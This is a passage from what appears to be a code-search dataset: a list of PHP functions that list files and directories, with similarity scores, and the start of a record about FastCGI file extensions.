ASC')->fetchAllAssoc('name');\n\n return array_map(function ($value) {\n return DRUPAL_ROOT.DIRECTORY_SEPARATOR.$value->filename;\n }, $results);\n }", "abstract function list_files($path = '.');", "public function getIndexFile() {\n return $this->index_file;\n }", "protected function getBasicFiles(): array\n {\n $array = [\n $this->folderPaths['logs'] . DIRECTORY_SEPARATOR . '.gitignore' => \"!.gitignore\\n\",\n $this->folderPaths['framework'] . DIRECTORY_SEPARATOR . '.gitignore' => 'down' . \"\\n\",\n $this->folderPaths['tests'] . DIRECTORY_SEPARATOR . 'AbstractTestCase.php' => $this->generateAbstractTestCaseClass(),\n $this->folderPaths['tests'] . DIRECTORY_SEPARATOR . 'bootstrap.php' => $this->generateBootstrapFile(),\n ];\n\n if (! self::$isTest) {\n $array['phpunit.xml'] = $this->getPhpunitXml();\n }\n\n return $array;\n }", "public function defaultStatic() {\n return array();\n }", "public function index(array $directories, array $extensions = []);", "public function getDefaultDirectory(): string|null;", "public function getDirectoryTreeList();", "public function dir_readdir() {}", "function listDir() {\n\t\t$header = $this->getHeader($this->_pageId);\n\t\t$output = \"\n\t\t\t<h1>$header</h1>\n\t\t\";\n\t\t$lp = $this->listPages();\n\t\tif ($lp == \"empty\") {\n\t\t\t$output .= \"<p><i>Denne mappen er tom eller den inneholder bare bilder.</i></p>\";\n\t\t} else if ($lp == \"hidden\") {\n\t\t\tif ($this->isLoggedIn()) {\n\t\t\t\t$output .= \"<p><i>Beklager, denne mappen inneholder kun skjulte elementer.</i></p>\";\n\t\t\t} else {\n\t\t\t\t$output = innlogging::printNoAccessNotLoggedInDlg();\n\t\t\t}\n\t\t} else {\n\t\t\t$output .= $lp;\n\t\t}\n\t\t/*\n\t\t$li = $this->listImages();\n\t\t$li = \"empty\";\n\t\tif (($lp == \"empty\") && ($li == \"empty\")){\n\t\t\tprint \"<p><i>Mappen er tom</i></p>\";\n\t\t}\n\t\t*/\n\t\t//$this->notSoFatalError(\"Denne mappen har ingen index-side.\");\n\t\treturn $output;\n\t}", "private static function defaultFiles($dir){\n\n //gerando o model\n $model = \"<?php\\nnamespace modules\\\\\".strtolower(self::$pathName).\"\\\\model;\\n\\nclass \".self::$pathName.\"s implements \\\\libs\\\\database\\\\model\\n{\\n\\tpublic function create()\\n\\t{\\n\\t\\treturn array(\\n\\n);\\t\\n}\\n}\\n\";\n \\libs\\kernel\\File::newFile($dir.\"/model/\".self::$pathName.\"s.php\", $model);\n \n \n //gerando o controller\n $controller = \"<?php\\nnamespace modules\\\\\".strtolower(self::$pathName).\"\\\\controller;\\nuse \\\\libs\\\\kernel\\\\ControllerBase as CB;\\n\\nclass Controller\".self::$pathName.\" extends CB{\\n\\n\\tpublic function index(\\$app, \\$response){\\n // resposta que vem do servidor => \\$response. \\n // url onde esta o arquivo que vai ser renderizado. \\n // argumento a serem passados para a pagina. => \\$args \\n\\n return \\$app->view->render(\\$response, \\\"/\".ucfirst(self::$pathName).\"/index.php\\\");\\n\\t}\\n}\";\n \\libs\\kernel\\File::newFile($dir.\"/controller/Controller\".self::$pathName.\".php\", $controller);\n\n //gerando o manifest json\n $manifestJson = \"{\\n\\\"dad\\\": \\\"this\\\",\\n\\\"dadsName\\\": \\\"master\\\",\\n\\\"acessLevel\\\": \\\"0\\\",\\n\\\"title\\\": \\\"\".self::$pathName.\"\\\",\\n\\\"url\\\": \".strtolower(self::$pathName).\"\\\",\\n\\\"submenu\\\": []\\n}\";\n \\libs\\kernel\\File::newFile($dir.\"/manifest.json\", $manifestJson);\n \n \n //gerando o index\n \\libs\\kernel\\File::newFile($dir.\"/index.php\", \"\");\n }", "static function getList()\n {\n $out = array();\n\n if ($dh = opendir(__DIR__ . '/../img/')) {\n while (($file = readdir($dh)) !== false) {\n if (substr($file, -4) === '.jpg') {\n $filename = substr($file, 0, -4);\n $out[$filename] = realpath(__DIR__ . '/../img/' . $file);\n }\n }\n\n closedir($dh);\n }\n\n return $out;\n }", "public function getList() {\n\t\treturn Cgn_Module_Manager_File::getListStatic();\n\t}", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/jestr.php',\n 'sources_custom/forum/cns.php',\n 'lang_custom/EN/jestr.ini',\n 'themes/default/templates_custom/EMOTICON_IMG_CODE_THEMED.tpl',\n 'forum/pages/modules_custom/topicview.php',\n 'sources_custom/hooks/systems/config/jestr_avatar_switch_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_emoticon_magnet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_leet_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes.php',\n 'sources_custom/hooks/systems/config/jestr_name_changes_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_piglatin_shown_for.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes.php',\n 'sources_custom/hooks/systems/config/jestr_string_changes_shown_for.php',\n );\n }", "public function defaultIncludedPaths()\n {\n return [\n 'templates/*.mustache',\n 'src/*.php'\n ];\n }", "function GetDir($filedata, &$options) \n\t\t{\t\t\t\n\t\t\t$format = \"%15s %-19s %-s\\n\";\n\t\t\t\n\t\t\techo \"<html><head><title>Index of \".htmlspecialchars($options['path']).\"</title></head>\\n\";\n\t\t\t \n\t\t\techo \"<h1>Index of \".htmlspecialchars($options['path']).\"</h1>\\n\";\n\t\t\t \n\t\t\techo \"<pre>\";\n\t\t\tprintf($format, \"Size\", \"Last modified\", \"Filename\");\n\t\t\techo \"<hr>\";\n\t\t\t$path_explode = explode(\"/\",$options['path']);\n\t\t\t$path = $path_explode[count($path_explode)-1];\n\t\t\tforeach ($filedata[\"file_list\"] as $key => $value) {\n\t\t\t\t$fullpath = $path.\"/\".$value[\"name\"];\n\t\t $name = htmlspecialchars($value[\"name\"]);\n\t\t printf($format, \n\t\t number_format(filesize($fullpath)),\n\t\t strftime(\"%Y-%m-%d %H:%M:%S\", filemtime($fullpath)), \n\t\t '<a href=\"' . $fullpath . '\">' . $name . '</a>');\n\t\t\t}\n\t\t echo \"</pre>\\n\";\n\t\t\t\n\t\t echo \"</html>\\n\";\n\t\t\n\t\t exit;\n\t\t}", "public function get_file_list() {\n\t\tset_time_limit( 0 );\n\n\t\t$this->image_dir = self::_add_trailing_slash( $this->image_dir );\n\n\t\tif ( is_dir( $this->image_dir ) ) {\n $result = array();\n\t\t\t$iterator = new \\RecursiveDirectoryIterator( $this->image_dir, \\FileSystemIterator::SKIP_DOTS );\n\t\t\t$iterator = new \\RecursiveIteratorIterator( $iterator );\n\t\t\t$iterator = new \\RegexIterator( $iterator, '/^.+\\.(jpe?g|png|gif|svg)$/i', \\RecursiveRegexIterator::MATCH );\n\n\t\t\tforeach ( $iterator as $info ) {\n\t\t\t if ( $info->isFile() ) {\n $result[] = $info->getPathname();\n }\n\t\t\t}\n\n\t\t\tunset( $iterator );\n\t\t} else {\n $result = false;\n }\n\n\t\treturn $result;\n\t}", "private function getFileList()\n {\n\n $count = $this->getFileCount();\n $size = $this->getSize() + 4;\n\n $this->seek(\n $this->offset\n + 18\n + $this->getAliasSize()\n + 4\n + $this->getMetadataSize()\n );\n\n return $this->readFileList($count, $size);\n }", "private function getArchiveFiles(): array\n {\n $list = [];\n\n for ($i = 0; $i < $this->getArchive()->numFiles; $i++) {\n\n $file = $this->getArchive()->statIndex($i);\n if ($file === false) {\n continue;\n }\n\n $name = str_replace('\\\\', '/', $file['name']);\n if (\n ($name[0] == \".\" &&\n in_array($this->getSkipMode(), [\"HIDDEN\", \"ALL\"])) ||\n ($name[0] == \".\" &&\n @$name[1] == \"_\" &&\n in_array($this->getSkipMode(), [\"COMODOJO\", \"ALL\"]))\n ) {\n continue;\n }\n\n $list[] = $name;\n }\n\n return $list;\n }", "public function hasIndexDirectoryPath();", "public function get_default_images() {\n $this->load->model('app_images_model');\n $data = array();\n if ($data['default_images'] = $this->app_images_model->fields(array('image', 'location'))->get_all()) {\n if (count($data['default_images']) === 0) {\n return $this->send_error('NO_RESULTS');\n }\n return $this->send_response($data);\n }\n return $this->send_error('ERROR');\n }", "public static function filelist()\n\t{\n\t\tglobal $g_relative_file_directory;\t// '../../UPLOADS/';\n\t\tglobal $g_relative_root_directory;\t// 'UPLOADS/';\n\n\t\t$actualdirectory = $_POST['actualdir'];\n\t\tif(!$actualdirectory)\n\t\t\t$actualdirectory='';\n\n\t\t$result = [];\n\t\t$result['directory'] = $g_relative_root_directory;\n\t\t$result['actualdir'] = $actualdirectory;\n\n\t\tif(strlen($actualdirectory)>0)\n\t\t\t$actualdirectory.=\"/\";\n\n\t\t$reldir = $g_relative_file_directory.$actualdirectory;\n\t\t$dirs=[];\n\t\tforeach(glob($reldir.'*', GLOB_ONLYDIR) as $d)\n\t\t{\n\t\t\t$fn=str_replace($reldir,'',$d);\n\t\t\t$dirs[] = $fn;\n\t\t}\n\t\t$result['dirs']=$dirs;\n\t\t//$result['reldir']=$reldir;\n\n\t\t$filenames = [];\n\t\tforeach(array_filter(glob($reldir.'*.*'), 'is_file') as $file)\n\t\t{\n\t\t\t$farray = [];\n\t\t\t$fn=str_replace($reldir,'',$file);\n\n\t\t\t$f=filesize($file);\n\t\t\t$fe=\"bytes\";\n\t\t\tif($f/1024 > 1)\n\t\t\t{\n\t\t\t\t$f/=1024;\n\t\t\t\t$fe=\"kb\";\n\t\t\t\tif($f/1024 > 1)\n\t\t\t\t{\n\t\t\t\t\t$f/=1024;\n\t\t\t\t\t$fe=\"Mb\";\n\t\t\t\t\tif($f/1024 > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$f/=1024;\n\t\t\t\t\t\t$fe=\"GB\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$farray['Filename'] = $fn;\n\t\t\t$farray['Filesize'] = number_format($f,1);\n\t\t\t$farray['FilesizeDeterminant'] = $fe;\n\n\t\t\t$filenames[] = $farray;\n\t\t}\n\t\t$result['files']=$filenames;\n\n\t\theader('Content-Type: application/json');\n\t\techo(json_encode($result));\n\t}", "public function index()\n {\n $folders = Storage::directories('public');\n\n return view('admin.edit.audiofilelist', [\n 'folders' => $folders\n ]);\n\n return $folders;\n\n\n }", "public function getDefaultOrderDir() ;", "function papi_get_all_core_type_files() {\n\treturn papi()->once( __FUNCTION__, function() {\n\t\t$directories = papi_filter_settings_directories();\n\t\t$result = [];\n\n\t\tforeach ( $directories as $directory ) {\n\t\t\t$result = array_merge( $result, papi_get_all_files_in_directory( $directory ) );\n\t\t}\n\n\t\t// Get the last file path from directories.\n\t\t$result = array_map( 'papi_get_core_type_file_path', $result );\n\n\t\t// Only unique path, no duplicated path is allowed.\n\t\treturn array_unique( $result );\n\t} );\n}", "public function getFiles ();", "public function getFiles()\n {\n $result = array();\n foreach ($this->_subdirectories as $directory) {\n $result = array_merge(\n $result,\n array_map(\n array($this, '_prependDirectory'),\n $directory->getFiles()\n )\n );\n }\n $result = array_merge(\n $result,\n array_map(\n array($this, '_prependDirectory'),\n array_keys($this->_files)\n )\n );\n return $result;\n }", "public function listDirPaths(callable $filter = null): array\n {\n return iterator_to_array($this->scanDirPaths($filter));\n }", "public function listFiles($start_dir)\n\t{\n\t\t$files = array();\n\t\t$dir = opendir($start_dir);\n\t\twhile(($myfile = readdir($dir)) !== false)\n\t\t\t{\n\t\t\tif($myfile != '.' && $myfile != '..' && !is_file($myfile) && $myfile != 'resource.frk' && $myfile != 'index.php' && $myfile != '.htaccess' )\n\t\t\t\t{\n\t\t\t\t$files[] = $myfile;\n\t\t\t\t}\n\t\t\t}\n\t\tclosedir($dir);\n\t\treturn $files;\n\t}", "public static function getDefaults()\n {\n return [];\n }", "private function getTestFileList() {\n\t\treturn [\n\t\t\tself::makeFileInfo('a.txt', 4, 2.3 * \\pow(10, 9)),\n\t\t\tself::makeFileInfo('q.txt', 5, 150),\n\t\t\tself::makeFileInfo('subdir2', 87, 128, true),\n\t\t\tself::makeFileInfo('b.txt', 2.2 * \\pow(10, 9), 800),\n\t\t\tself::makeFileInfo('o.txt', 12, 100),\n\t\t\tself::makeFileInfo('subdir', 88, 125, true),\n\t\t];\n\t}", "public function uses_file_indexing() {\n return true;\n }", "protected function get_default_file_vars()\n\t{\n\t\treturn array(\n\t\t\t'U_DOWNLOAD_LINK'\t=> $this->get_url(),\n\t\t\t'L_DOWNLOAD_COUNT'\t=> 'DOWNLOAD_COUNTS',\n\t\t\t'S_FILE'\t\t\t=> true,\n\t\t);\n\t}", "protected function getApplicationDirectoreis(): array\n {\n return $this->directories;\n }", "public function getFiles();", "public function getFiles();", "public function getFiles();", "public function browse_files()\n {\n // Scan file directory, render the images.\n if (is_dir($this->file_path)) {\n $files = preg_grep('/^([^.])/', scandir($this->file_path));\n return $files;\n }\n \n }", "public function loadFiles()\n\t{\n\t\t$files = array();\n\t\t\n\t\t$searchPath = $this->getLocalFolder().\"/*.*\";\n\t\t$filesArray = glob($searchPath);\n\t\t\n\t\tforeach($filesArray as $file)\n\t\t{\n\t\t\t$files[] = new File($file);\n\t\t}\n\t\t\n\t\treturn $files;\n\t}", "function list_dir($chdir) {\r\n\t/* some globals, some cleaning */\r\n\tglobal $root, $prefix, $PHP_SELF, $SERVER_NAME, $showsize, $display, $excludedir, $excludefile;\r\n\tunset($sdirs);\r\n\tunset($sfiles);\r\n\tchdir($chdir);\r\n\t$self = basename($PHP_SELF);\r\n\r\n\t/* open current directory */\r\n\t$handle = opendir('.');\r\n\t/* read directory. If the item is a directory, place it in $sdirs, if it's a filetype we want\r\n\t * and not this file, put it in $sfiles */\r\n\twhile ($file = readdir($handle))\r\n\t{\r\n\t\tif(is_dir($file) && $file != \".\" && $file != \"..\" && !in_array($file, $excludedir))\r\n\t\t{ $sdirs[] = $file; }\r\n\t\telseif(is_file($file) && $file != \"$self\" && array_key_exists(get_extension($file), $display)\r\n\t\t\t&& !in_array($file, $excludefile))\r\n\t\t{ $sfiles[] = $file; }\r\n\t}\r\n\r\n\t/* count the slashes to determine how deep we're in the directory tree and how many\r\n\t * nice bars we need to add */\r\n\t$dir = getcwd();\r\n\t$dir1 = str_replace($root, \"\", $dir.\"/\");\r\n\t$count = substr_count($dir1, \"/\") + substr_count($dir1, \"\\\\\") - (substr_count($root, \"/\")-1);\r\n\r\n\t/* display directory names and recursively list all of them */\r\n\tif(isset($sdirs) && is_array($sdirs)) {\r\n\t\tsort($sdirs);\r\n\t\treset($sdirs);\r\n\r\n\t\tfor($y=0; $y<sizeof($sdirs); $y++) {\r\n\t\t\techo \"<tr><td>\";\r\n\t\t\tfor($z=1; $z<=$count; $z++)\r\n\t\t \t{ echo \"<img align=absmiddle src=comu/sitemap/vertical.gif>&nbsp;&nbsp;&nbsp;\"; }\r\n\t\t\tif((isset($sfiles) && is_array($sfiles)) || $y<sizeof($sdirs)-1)\r\n\t\t\t{ echo \"<img align=absmiddle src=comu/sitemap/verhor.gif>\"; }\r\n\t\t\telse\r\n\t\t\t{ echo \"<img align=absmiddle src=comu/sitemap/verhor1.gif>\"; }\r\n\t\t\techo \"<img align=absmiddle src=comu/sitemap/folder.gif> <a href=\\\"http://$SERVER_NAME$prefix/$dir1$sdirs[$y]\\\" target=\\\"_blank\\\" class=\\\"blau10b\\\">$sdirs[$y]</a>\";\r\n\t\t\tlist_dir($dir.\"/\".$sdirs[$y]);\r\n\t\t}\r\n\t}\r\n\r\n\tchdir($chdir);\r\n\r\n\t/* iterate through the array of files and display them */\r\n\tif(isset($sfiles) && is_array($sfiles)) {\r\n\t\tsort($sfiles);\r\n\t\treset($sfiles);\r\n\r\n\t\t$sizeof = sizeof($sfiles);\r\n\r\n\t\t/* what file types shall be displayed? */\r\n\t\tfor($y=0; $y<$sizeof; $y++) {\r\n\t\t\techo \"<tr><td>\";\r\n\t\t\tfor($z=1; $z<=$count; $z++)\r\n\t\t\t{ echo \"<img align=absmiddle src=comu/sitemap/vertical.gif>&nbsp;&nbsp;&nbsp;\"; }\r\n\t\t\tif($y == ($sizeof -1))\r\n\t\t\t{ echo \"<img align=absmiddle src=comu/sitemap/verhor1.gif>\"; }\r\n\t\t\telse\r\n\t\t\t{ echo \"<img align=absmiddle src=comu/sitemap/verhor.gif>\"; }\r\n\t\t\techo \"<img align=absmiddle src=comu/sitemap/\";\r\n\t\t\techo $display[get_extension($sfiles[$y])];\r\n\t\t\techo \"> \";\r\n\r\n\r\n\t\t\t\t$valorlink=\"$prefix/$dir1$sfiles[$y]\";\r\n\t\t\t\t//echo \"<a href=\\\"$valorlink\\\" class=\\\"blau10\\\" target=\\\"_blank\\\">$sfiles[$y]</a>\";\r\n\t\t\t\techo '<a href=\"#\" class=\"blau10\" onclick=\"OpenFile(\\''.$valorlink.'\\');return false;\">'.$sfiles[$y].'</a>';\r\n\r\n\t\t\t/*if (!isset($_GET['nocopy'])) {\r\n\t\t\t\t//per copiar link\r\n\t\t\t\techo \"<input type=hidden name=\\\"$dir1$sfiles[$y]\\\" id=\\\"$dir1$sfiles[$y]\\\" value=\\\"$valorlink\\\">\";\r\n\t\t\t\techo \"&nbsp;&nbsp;&nbsp;<a href=\\\"javascript:CopyClipboard('$dir1$sfiles[$y]')\\\" title=\\\"copiar el vincle al portapapers\\\">copiar vincle</a>\";\r\n\t\t\t\t//fi\r\n\t\t\t}*/\r\n\r\n\t\t\tif($showsize) {\r\n\t\t\t\t$fsize = @filesize($sfiles[$y])/1024;\r\n\t\t\t\tprintf(\" (%.2f kB)\", $fsize);\r\n\t\t\t}\r\n\t\t\techo \"</td></tr>\";\r\n\r\n\r\n\r\n\t\t}\r\n\t\techo \"<tr><td>\";\r\n\t\tfor($z=1; $z<=$count; $z++)\r\n\t\t{ echo \"<img align=absmiddle src=comu/sitemap/vertical.gif>&nbsp;&nbsp;&nbsp;\"; }\r\n\t\techo \"</td></tr>\\n\";\r\n\t}\r\n}", "public function getAll() : Array\n\t{\n\t\tif ($this->exists() && $this->isReadable()) {\n\t\t\treturn scandir($this->directory);\n\t\t}\n\n\t\treturn [];\n\t}", "public function getFileList(): array\n {\n return [\n app_path('User.php'),\n app_path('Http/Controllers/Auth/RegisterController.php'),\n config_path('auth.php'),\n config_path('services.php'),\n base_path('database/factories/UserFactory.php'),\n ];\n }", "public function getDataFilesList(){\r\n $data_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'Data';\r\n $files = scandir($data_dir);\r\n\r\n $files_list = array();\r\n $index = 0;\r\n foreach ($files as $file) {\r\n if($file != '.' && $file != '..'){\r\n $files_list[$index]['name'] = $file;\r\n $files_list[$index]['update_time'] = filemtime($data_dir . DIRECTORY_SEPARATOR . $file);\r\n $files_list[$index]['type'] = $this->getFileType($file);\r\n $index++;\r\n }\r\n }\r\n\r\n $update_times = array();\r\n foreach($files_list as $data){\r\n $update_times[] = $data['update_time'];\r\n }\r\n array_multisort($update_times, SORT_DESC, $files_list);\r\n return $files_list;\r\n }", "public static function find_all()\n\t{\n\t\t# TODO: return WikirPage instances\n\t\treturn file_list_dir(option('pages_dir'));\n\t}", "function scanDir() {\r\n $returnArray = array();\r\n \r\n if ($handle = opendir($this->uploadDirectory)) {\r\n \r\n while (false !== ($file = readdir($handle))) {\r\n if (is_file($this->uploadDirectory.\"/\".$file)) {\r\n $returnArray[] = $file;\r\n }\r\n }\r\n \r\n closedir($handle);\r\n }\r\n else {\r\n die(\"<b>ERROR: </b> No se puede leer el directorio <b>\". $this->uploadDirectory.'</b>');\r\n }\r\n return $returnArray; \r\n }", "private static function file_list($d,$x){ \r\n\t\treturn array_diff(scandir(__DIR__.'/../../'.$d),array('.','..'));\r\n\t}", "private function createFolderIndex(){\n //Just testing the command\n //$this->info('Starting to search the folder: '.$this->file_storage);\n $this->folders = array();\n $this->invalid_files = array();\n $this->count = 0;\n\n //Tagging all files to be able to find removed files at the end\n $SQL = \"UPDATE files SET found = '0'\";\n DB::connection('mysql')->update($SQL);\n $SQL = \"UPDATE folders SET found = '0'\";\n DB::connection('mysql')->update($SQL);\n\n //Checking if cache file exist, if not just create all the index on ES\n $this->checkCacheFolder();\n //Loop through the directories to get files ad folders\n $this->listFolderFiles($this->file_storage);//$_ENV['EBT_FILE_STORAGE']);\n //Check if any folder is missing from cache and try to create on ES\n $this->compareCacheFolders();\n\n //Remove files/folders that hasn't been found\n //if ($this->confirm('Do you wish to remove missing files? [y|N]')) {\n $this->removeMissingFiles();\n //}\n }", "public function directory() {\n $config = \\Drupal::config('webspark_isearch.settings');\n $directory_url = $config->get('directory_path');\n return $this->retriveJsonFromService($directory_url);\n }", "public function defaultStatKeys()\n {\n \treturn $this->defaultKeys;\n }", "public function getFiles() : Array\n\t{\n\t\t$files = [];\n\n\t\tif ($this->exists() && $this->isReadable()) {\n\n\t\t\t$directory = opendir($this->directory);\n\t\t\twhile($opened = readdir($directory)) {\n\t\t\t\n\t\t\t\tif (is_file($this->directory . DIRECTORY_SEPARATOR . $opened) && !Directory::isBlockListed($opened)) {\n\t\t\t\t\t$files[] = $opened;\n\t\t\t\t}\n\t\t\n\t\t\t}\n\n\t\t\tclosedir($directory);\n\t\t}\n\n\t\treturn $files;\n\t}", "protected function getMainFiles()\n {\n $mainFiles = [];\n foreach ($this->getCssFilesFromConfig() as $scss) {\n $mainFiles[] = realpath($this->getConfig()->getUnglueConfigFolderPath($scss));\n }\n\n return $mainFiles;\n }", "protected function _default_segments()\n\t{\n\t\t// Check for default controller\n\t\tif (empty($this->default_controller))\n\t\t{\n\t\t\t// Return empty array\n\t\t\treturn array();\n\t\t}\n\n\t\t// Break out default controller\n\t\t$default = explode('/', $this->default_controller);\n\t\tif ( ! isset($default[1]))\n\t\t{\n\t\t\t// Add default method\n\t\t\t$default[] = 'index';\n\t\t}\n\n\t\treturn $default;\n\t}", "public function directoryWithFilesDataProvider(): array\n {\n $multiMap = ['OtherFile' => 'other_file.json', 'JSONFile' => 'j_s_o_n_file.json'];\n $multiDirMap = ['FileFirst' => 'first/file_first.exe', 'FileSecond' => 'first/file_second.exe'];\n $multiDirMap['FileThird'] = 'second/file_third.exe';\n $multiDirMap['SomeExt'] = 'some_ext.exe';\n $singleLoadData = ['OneFile' => ['param1' => 'some_value']];\n $multiLoadData = ['OtherFile' => ['param2' => 'other_value'], 'JSONFile' => ['param3' => 'last_value']];\n $multiDirLoadData = ['FileFirst' => ['param4' => 'no_value'], 'FileSecond' => ['param5' => 'ext_value']];\n $multiDirLoadData['FileThird'] = ['param6' => 'this_value'];\n $multiDirLoadData['SomeExt'] = ['param7' => 'that_value'];\n\n return [\n 'single file' => ['single', '/^.*\\..*$/', ['OneFile' => 'one_file.json'], $singleLoadData],\n 'multiple files with mask' => ['multi', '/^.*\\.json$/', $multiMap, $multiLoadData],\n 'multiple directories' => ['container', '/^.*\\.exe$/', $multiDirMap, $multiDirLoadData],\n ];\n }", "public function getFallbackDirs()\n\t{\n\t\treturn $this->fallbackDirs;\n\t}" ]
[ "0.81148845", "0.687959", "0.66285294", "0.65067387", "0.6299508", "0.6262346", "0.6238817", "0.6220107", "0.61614054", "0.61104447", "0.6050074", "0.6044287", "0.5988231", "0.5980011", "0.5911843", "0.5888357", "0.5887802", "0.5885508", "0.58421993", "0.5833251", "0.58232915", "0.5811206", "0.574451", "0.5737928", "0.5732788", "0.5732788", "0.5732693", "0.5732693", "0.5732693", "0.57107276", "0.5684354", "0.5681995", "0.56794274", "0.567878", "0.566618", "0.56605786", "0.56547195", "0.5652952", "0.56404126", "0.56368977", "0.56349397", "0.5632312", "0.5629598", "0.5620664", "0.56102717", "0.5597567", "0.55686194", "0.5542063", "0.5535914", "0.5525476", "0.5521592", "0.5520119", "0.5503657", "0.55022496", "0.5490041", "0.5488878", "0.5484472", "0.5452609", "0.54332894", "0.54325545", "0.5428185", "0.5427585", "0.542541", "0.5422502", "0.54148716", "0.5414477", "0.5406621", "0.5406331", "0.53991723", "0.5389768", "0.5373563", "0.53579754", "0.534512", "0.53425443", "0.534159", "0.5336989", "0.53329664", "0.5331059", "0.53275895", "0.5326565", "0.53234696", "0.53234696", "0.53234696", "0.53195524", "0.5317214", "0.5314919", "0.5307803", "0.5298466", "0.5297786", "0.5295457", "0.5287951", "0.52858394", "0.5284901", "0.5273611", "0.5269463", "0.52692205", "0.5266208", "0.5266082", "0.52649987", "0.52612823" ]
0.7434387
1
Returns the list of file extensions to be interpreted by the PHP FastCGI processes.
public static function getFCGIExtensions() { if (empty(MHTTPD::$config['FCGI']['extensions'])) { return array(); } return MHTTPD::$config['FCGI']['extensions']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSupportedFileExtensions() {}", "public function getSupportedFileExtensions()\n {\n return array_keys($GLOBALS['TYPO3_CONF_VARS']['SYS']['fal']['onlineMediaHelpers']);\n }", "public function getAllowFileExtensions()\n\t{\n\t\treturn implode(',', array_merge($this->videoExtensions, $this->imageExtensions, $this->audioExtensions, $this->docExtensions ));\n\t\t//return Yii::app()->params['fileExtensions'];\n\t}", "protected function getAcceptFileTypes()\n {\n $extensions = $this->getValidator()->getAllowedExtensions();\n if (!$extensions) {\n return [];\n }\n $extentionString = \"\";\n $i = 0;\n foreach ($extensions as $extension) {\n if ($i == 0) {\n $extentionString .= \".{$extension}\";\n } else {\n $extentionString .= \", .{$extension}\";\n }\n $i++;\n }\n return $extentionString;\n }", "protected function getFileExtensions() {\n\t\treturn $this->fileExtensions;\n\t}", "public function get_supported_extensions() {\n return array();\n }", "public function getAllowedExtensions()\n {\n return $this->allowedFiles;\n }", "public function phpExt(): array\n {\n return \\get_loaded_extensions();\n }", "public function phpExt(): array\n {\n return \\get_loaded_extensions();\n }", "protected function extensions() \n {\n return ['php'];\n }", "protected function _getAllowedExtensions()\n {\n return ['jpg', 'jpeg', 'gif', 'png', 'svg'];\n }", "static public function getAllowedExtensions()\n\t{\n\t\t$result = [];\n\t\t\n\t\tforeach(DB::table('dx_files_headers')->select('extention')->get() as $row)\n\t\t{\n\t\t\t$result[] = $row->extention;\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "public function getAllowedExtensions()\n {\n return $this->allowedExtensions;\n }", "public function getAllowedExtensions()\n {\n return $this->allowedExtensions;\n }", "public function getAllowedExtensions()\n {\n return $this->_allowedExtensions;\n }", "public static function getExtensions()\n {\n return self::$_extensions;\n }", "public function getAllowedExtensions(){\n return $this->allowedExtensions;\n }", "public static function getAllowedExtension()\n\t{\n\t\treturn ['xml' => 'XML'];\n\t}", "protected function getExtensions()\n {\n if (file_exists(realpath(__DIR__.'/../../../../../config/twig.php'))) {\n $this->config = require realpath(__DIR__.'/../../../../../config/twig.php');\n } else {\n $this->config = require realpath(__DIR__.'/../../config/twig.php');\n }\n\n return isset($this->config['extensions']) ? $this->config['extensions'] : [];\n }", "public function provideFileAndExtension()\n {\n return [\n [__FILE__, 'php'],\n ['.htaccess', 'htaccess'],\n ['name', ''],\n ['a.combined.filename.with.multiple.ext.separator', 'separator']\n ];\n }", "public function getAllowedFileExtensions()\n {\n return ['jpg', 'jpeg', 'gif', 'png'];\n }", "public function getExtensionAllowed()\n {\n return array_merge($this->imageTypes, $this->videoTypes, $this->documentTypes);\n }", "public static function getAllowedFileExtensions() {\n\t\tif (self::$allowedFileExtensions === null) {\n\t\t\tself::$allowedFileExtensions = array();\n\t\t\tself::$allowedFileExtensions = array_unique(explode(\"\\n\", StringUtil::unifyNewlines(WCF::getUser()->getPermission('user.profile.avatar.allowedFileExtensions'))));\n\t\t\tself::$allowedFileExtensions = array_diff(self::$allowedFileExtensions, self::$illegalFileExtensions);\n\t\t}\n\t\t\n\t\treturn self::$allowedFileExtensions;\n\t}", "public final function getAcceptedExtensions() { \n return $this->acceptedExtensions; }", "public function getSupportedExtensions()\n {\n return array_keys($this->convertersByExtension);\n }", "public function getExtensions()\n {\n return $this->extension;\n }", "public function extensions(): array;", "public function getFileExtension();", "public function getSupportedExtensions()\n\t{\n\t\treturn array('xml');\n\t}", "public function checkExtensions()\n {\n $extensions = array(\n 'fileinfo',\n 'pdo',\n 'mbstring',\n 'tokenizer',\n 'openssl',\n 'json',\n 'curl',\n 'xml'\n );\n\n $results = array();\n\n foreach ($extensions as $extension) {\n $results[$extension] = extension_loaded($extension);\n }\n\n return $results;\n }", "public function file_extensions_for_case_studies(){\n\t\t$filetype_arr = array();\n\t\t$filetype_arr['ppt'] = \"PowerPoint\";\n\t\t$filetype_arr['pptx'] = \"PowerPoint\";\n\t\t$filetype_arr['pdf'] = \"PDF file\";\n\t\treturn $filetype_arr;\n\t}", "public function getExtensions();", "public function getExtensionNames()\n {\n if ($this->extensionNames == '*') {\n $this->extensionNames = $this->getAllExtensionNames();\n }\n return $this->extensionNames;\n }", "public function get_allowed_image_extensions()\r\n\t{\r\n\t\t$content_types = $this->upload_config['content_types'];\r\n\r\n\t\t$allowed_image_extensions = array();\r\n\t\tforeach($content_types as $extension => $content_type)\r\n\t\t{\r\n\t\t\tif(substr($content_type, 0, 5) == 'image')\r\n\t\t\t{\r\n\t\t\t\t$allowed_image_extensions[] = $extension;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $allowed_image_extensions;\r\n\t}", "public function getExtensions()\n {\n return $this->extensions;\n }", "public function getExtensions()\n {\n return $this->extensions;\n }", "public function getExtensions()\n {\n return $this->extensions;\n }", "public function getExtensions()\n {\n return $this->extensions;\n }", "public function getSupportedFileTypes(){\n\t\t$_url = $this->constants['SERVICE_ENTRY_POINT'].$this->constants['SERVICE_VERSION'].'/'.$this->constants['MISC_PATH'].'/supported-file-types';\n\t\t$response = $this->getRequests($_url)['response'];\n\t\treturn $response;\n\t}", "public function getExtensions() {}", "public function getExtensions() {}", "final public static function fext($file){\n\t\treturn pathinfo($file, PATHINFO_EXTENSION);\n\t}", "public function 